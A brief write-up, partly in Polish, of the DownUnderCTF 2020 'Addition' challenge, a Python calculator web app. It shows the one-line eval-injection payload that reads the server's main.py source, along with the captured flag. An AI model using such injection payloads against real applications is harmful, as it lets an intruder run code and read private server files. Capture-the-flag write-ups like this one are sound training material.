DownUnderCTF 2020: Addition

Addition

200 punktów

Author: n00bmaster
Joe is aiming to become the next supreme coder by trying to make his code smaller and smaller. His most recent project is a simple calculator which he reckons is super secure because of the “filters” he has in place. However, he thinks that he knows more than everyone around him. Put Joe in his place and grab the flag.
https://chal.duc.tf:30302/

Rozwiązanie

Ok, a więc zadanie zaczynamy od webaplikacji z kalkulatorem. Wartościową wskazówką jest informacja, iż strona napisana jest w Pythonie.

addition1

Flagę zdobyłem korzystając z następującego payloadu: '{}'.format(open('main.py','r').read())

addition2

DUCTF{3v4L1sD4ng3r0u5}